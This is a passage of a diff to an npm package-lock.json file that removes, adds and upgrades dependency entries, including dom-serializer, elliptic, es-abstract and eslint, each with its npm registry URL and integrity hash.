"https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz", "integrity": "sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==" }, - "delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "dev": true, - "optional": true, - "peer": true - }, - "depd": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", - "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", - "dev": true, - "optional": true, - "peer": true - }, "des.js": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.1.tgz", @@ -23628,16 +20715,18 @@ "minimalistic-assert": "^1.0.0" } }, - "destroy": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==" - }, "detect-browser": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/detect-browser/-/detect-browser-5.2.1.tgz", "integrity": "sha512-eAcRiEPTs7utXWPaAgu/OX1HRJpxW7xSHpw4LTDrGFaeWnJ37HRlqpUkKsDm0AoTbtrvHQhH+5U2Cd87EGhJTg==" }, + "detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", + "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==", + "dev": true, + "optional": true + }, "detect-newline": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", @@ -23645,9 +20734,9 @@ "dev": true }, "diff-sequences": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.0.0.tgz", - "integrity": "sha512-7Qe/zd1wxSDL4D/X/FPjOMB+ZMDt71W94KYaq05I2l0oQqgXgs7s4ftYYmV38gBSrPz2vcygxfs1xn0FT+rKNA==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", + "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==", "dev": true }, "diffie-hellman": { @@ -23672,33 +20761,15 @@ "resolved": "https://registry.npmjs.org/dijkstrajs/-/dijkstrajs-1.0.2.tgz", "integrity": "sha512-QV6PMaHTCNmKSeP6QoXhVTw9snc9VD8MulTT0Bd99Pacp4SS1cjcrYPgBPmibqKVtMJJfqC6XvOXgPMEEPH/fg==" }, - "dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "requires": { - "path-type": "^4.0.0" - } - }, - "doctrine": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", - "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", - "dev": true, - "requires": { - "esutils": "^2.0.2" - } - }, "dom-serializer": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", - "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", "dev": true, "requires": { - "domelementtype": "^2.0.1", - "domhandler": "^4.2.0", - "entities": "^2.0.0" + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" } }, "dom-walk": { @@ -23712,33 +20783,24 @@ "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", "dev": true }, - "domexception": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", - "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", - "dev": true, - "requires": { - "webidl-conversions": "^7.0.0" - } - }, "domhandler": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", - "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", "dev": true, "requires": { - "domelementtype": "^2.2.0" + "domelementtype": "^2.3.0" } }, "domutils": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", - "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", "dev": true, "requires": { - "dom-serializer": "^1.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0" + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" } }, "dropzone": { @@ -23746,10 +20808,15 @@ "resolved": "https://registry.npmjs.org/dropzone/-/dropzone-5.9.3.tgz", "integrity": "sha512-Azk8kD/2/nJIuVPK+zQ9sjKMRIpRvNyqn9XwbBHNq+iNuSccbJS6hwm1Woy0pMST0erSo0u4j+KJaodndDk4vA==" }, - "duplexer3": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.5.tgz", - "integrity": "sha512-1A8za6ws41LQgv9HrE/66jyC5yuSjQ3L/KOpFtoBilsAK2iA2wuS5rTt1OCzIvtS2V7nVmedsUU+DGRcjBmOYA==" + "dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "requires": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + } }, "ecc-jsbn": { "version": "0.1.2", @@ -23760,20 +20827,15 @@ "safer-buffer": "^2.1.0" } }, - "ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" - }, "electron-to-chromium": { - "version": "1.4.211", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.211.tgz", - "integrity": "sha512-BZSbMpyFQU0KBJ1JG26XGeFI3i4op+qOYGxftmZXFZoHkhLgsSv4DHDJfl8ogII3hIuzGt51PaZ195OVu0yJ9A==" + "version": "1.5.194", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.194.tgz", + "integrity": "sha512-SdnWJwSUot04UR51I2oPD8kuP2VI37/CADR1OHsFOUzZIvfWJBO6q11k5P/uKNyTT3cdOsnyjkrZ+DDShqYqJA==" }, "elliptic": { - "version": "6.5.4", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", - "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", + "version": "6.6.1", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.6.1.tgz", + "integrity": "sha512-RaddvvMatK2LJHqFJ+YA4WysVN5Ita9E35botqIYspQ4TkRAlCicdzKOjlyv/1Za5RyTNn7di//eEV0uTAfe3g==", "requires": { "bn.js": "^4.11.9", "brorand": "^1.1.0", @@ -23792,9 +20854,9 @@ } }, "emittery": { - "version": "0.10.2", - "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz", - "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==", + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", + "integrity": "sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==", "dev": true }, "emoji-regex": { @@ -23809,11 +20871,6 @@ "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", "dev": true }, - "encodeurl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", - "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==" - }, "encoding": { "version": "0.1.13", "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", @@ -23822,32 +20879,12 @@ "peer": true, "requires": { "iconv-lite": "^0.6.2" - }, - "dependencies": { - "iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "optional": true, - "peer": true, - "requires": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - } - } - } - }, - "end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", - "requires": { - "once": "^1.4.0" } }, "enhanced-resolve": { - "version": "5.10.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.10.0.tgz", - "integrity": "sha512-T0yTFjdpldGY8PmuXXR0PyQ1ufZpEGiHVrp7zHKB7jdR4qlmZHhONVM5AQOAWXuF/w3dnHbEQVrNptJgt7F+cQ==", + "version": "5.17.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", + "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==", "dev": true, "requires": { "graceful-fs": "^4.2.4", @@ -23855,33 +20892,23 @@ } }, "entities": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", - "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.4.0.tgz", + "integrity": "sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA==", "dev": true }, "env-paths": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", - "dev": true, - "optional": true, - "peer": true + "dev": true }, "envinfo": { - "version": "7.8.1", - "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", - "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", + "version": "7.14.0", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.14.0.tgz", + "integrity": "sha512-CO40UI41xDQzhLB1hWyqUKgFhs250pNcGbyGKe1l/e4FSaI/+YE4IMG76GDt0In67WLPACIITC+sOi08x4wIvg==", "dev": true }, - "err-code": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", - "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", - "dev": true, - "optional": true, - "peer": true - }, "errno": { "version": "0.1.8", "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", @@ -23900,249 +20927,171 @@ } }, "es-abstract": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz", - "integrity": "sha512-2vJ6tjA/UfqLm2MPs7jxVybLoB8i1t1Jd9R3kISld20sIxPcTbLuggQOUxeWeAvIUkduv/CfMjuh4WmiXr2v9w==", - "requires": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "get-symbol-description": "^1.0.0", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "internal-slot": "^1.0.3", - "is-callable": "^1.2.4", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.4", - "is-shared-array-buffer": "^1.0.1", - "is-string": "^1.0.7", - "is-weakref": "^1.0.1", - "object-inspect": "^1.11.0", + "version": "1.24.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz", + "integrity": "sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==", + "dev": true, + "requires": { + "array-buffer-byte-length": "^1.0.2", + "arraybuffer.prototype.slice": "^1.0.4", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "data-view-buffer": "^1.0.2", + "data-view-byte-length": "^1.0.2", + "data-view-byte-offset": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-set-tostringtag": "^2.1.0", + "es-to-primitive": "^1.3.0", + "function.prototype.name": "^1.1.8", + "get-intrinsic": "^1.3.0", + "get-proto": "^1.0.1", + "get-symbol-description": "^1.1.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "internal-slot": "^1.1.0", + "is-array-buffer": "^3.0.5", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.2", + "is-negative-zero": "^2.0.3", + "is-regex": "^1.2.1", + "is-set": "^2.0.3", + "is-shared-array-buffer": "^1.0.4", + "is-string": "^1.1.1", + "is-typed-array": "^1.1.15", + "is-weakref": "^1.1.1", + "math-intrinsics": "^1.1.0", + "object-inspect": "^1.13.4", "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.1" - } + "object.assign": "^4.1.7", + "own-keys": "^1.0.1", + "regexp.prototype.flags": "^1.5.4", + "safe-array-concat": "^1.1.3", + "safe-push-apply": "^1.0.0", + "safe-regex-test": "^1.1.0", + "set-proto": "^1.0.0", + "stop-iteration-iterator": "^1.1.0", + "string.prototype.trim": "^1.2.10", + "string.prototype.trimend": "^1.0.9", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.3", + "typed-array-byte-length": "^1.0.3", + "typed-array-byte-offset": "^1.0.4", + "typed-array-length": "^1.0.7", + "unbox-primitive": "^1.1.0", + "which-typed-array": "^1.1.19" + } + }, + "es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==" }, - "es-module-lexer": { - "version": "0.9.3", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", - "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==", - "dev": true + "es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==" }, - "es-to-primitive": { + "es-module-lexer": { "version": "1.2.1", - "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", - "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", - "requires": { - "is-callable": "^1.1.4", - "is-date-object": "^1.0.1", - "is-symbol": "^1.0.2" - } + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.2.1.tgz", + "integrity": "sha512-9978wrXM50Y4rTMmW5kXIC09ZdXQZqkE4mxhwkd8VbzsGkXGPgV4zWuqQJgCEzYngdo2dYDa0l8xhX4fkSwJSg==", + "dev": true }, - "es5-ext": { - "version": "0.10.61", - "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.61.tgz", - "integrity": "sha512-yFhIqQAzu2Ca2I4SE2Au3rxVfmohU9Y7wqGR+s7+H7krk26NXhIRAZDgqd6xqjCEFUomDEA3/Bo/7fKmIkW1kA==", + "es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", "requires": { - "es6-iterator": "^2.0.3", - "es6-symbol": "^3.1.3", - "next-tick": "^1.1.0" + "es-errors": "^1.3.0" } }, - "es6-iterator": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", - "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", + "es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, "requires": { - "d": "1", - "es5-ext": "^0.10.35", - "es6-symbol": "^3.1.1" + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" } }, - "es6-object-assign": { + "es-shim-unscopables": { "version": "1.1.0", - "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", - "integrity": "sha1-wsNYJlYkfDnqEHyx5mUrb58kUjw=" - }, - "es6-promise": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", - "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" - }, - "es6-symbol": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz", - "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz", + "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==", + "dev": true, "requires": { - "d": "^1.0.1", - "ext": "^1.1.2" + "hasown": "^2.0.2" } }, - "escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" - }, - "escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" - }, - "escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" - }, - "escodegen": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.0.0.tgz", - "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==", + "es-to-primitive": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz", + "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", "dev": true, "requires": { - "esprima": "^4.0.1", - "estraverse": "^5.2.0", - "esutils": "^2.0.2", - "optionator": "^0.8.1", - "source-map": "~0.6.1" - }, - "dependencies": { - "estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true - }, - "levn": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", - "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", - "dev": true, - "requires": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" - } - }, - "optionator": { - "version": "0.8.3", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", - "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", - "dev": true, - "requires": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.6", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "word-wrap": "~1.2.3" - } - }, - "prelude-ls": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", - "dev": true - }, - "type-check": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", - "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", - "dev": true, - "requires": { - "prelude-ls": "~1.1.2" - } - } + "is-callable": "^1.2.7", + "is-date-object": "^1.0.5", + "is-symbol": "^1.0.4" } }, + "escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==" + }, "eslint": { - "version": "8.23.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.23.0.tgz", - "integrity": "sha512-pBG/XOn0MsJcKcTRLr27S5HpzQo4kLr+HjLQIyK4EiCsijDl/TB+h5uEuJU6bQ8Edvwz1XWOjpaP2qgnXGpTcA==", - "dev": true, - "requires": { - "@eslint/eslintrc": "^1.3.1", - "@humanwhocodes/config-array": "^0.10.4", - "@humanwhocodes/gitignore-to-minimatch": "^1.0.2", + "version": "9.30.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.30.1.tgz", + "integrity": "sha512-zmxXPNMOXmwm9E0yQLi5uqXHs7uq2UIiqEKo3Gq+3fwo1XrJ+hijAZImyF7hclW3E6oHz43Yk3RP8at6OTKflQ==", + "dev": true, + "requires": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.0", + "@eslint/config-helpers": "^0.3.0", + "@eslint/core": "^0.14.0", + "@eslint/eslintrc": "^3.3.1", + "@eslint/js": "9.30.1", + "@eslint/plugin-kit": "^0.3.1", + "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", - "ajv": "^6.10.0", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "@types/json-schema": "^7.0.15", + "ajv": "^6.12.4", "chalk": "^4.0.0", - "cross-spawn": "^7.0.2", + "cross-spawn": "^7.0.6", "debug": "^4.3.2", - "doctrine": "^3.0.0", "escape-string-regexp": "^4.0.0", - "eslint-scope": "^7.1.1", - "eslint-utils": "^3.0.0", - "eslint-visitor-keys": "^3.3.0", - "espree": "^9.4.0", - "esquery": "^1.4.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^6.0.1", + "file-entry-cache": "^8.0.0", "find-up": "^5.0.0", - "functional-red-black-tree": "^1.0.1", - "glob-parent": "^6.0.1", - "globals": "^13.15.0", - "globby": "^11.1.0", - "grapheme-splitter": "^1.0.4", + "glob-parent": "^6.0.2", "ignore": "^5.2.0", - "import-fresh": "^3.0.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", - "js-yaml": "^4.1.0", "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.4.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", - "optionator": "^0.9.1", - "regexpp": "^3.2.0", - "strip-ansi": "^6.0.1", - "strip-json-comments": "^3.1.0", - "text-table": "^0.2.0" + "optionator": "^0.9.3" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": 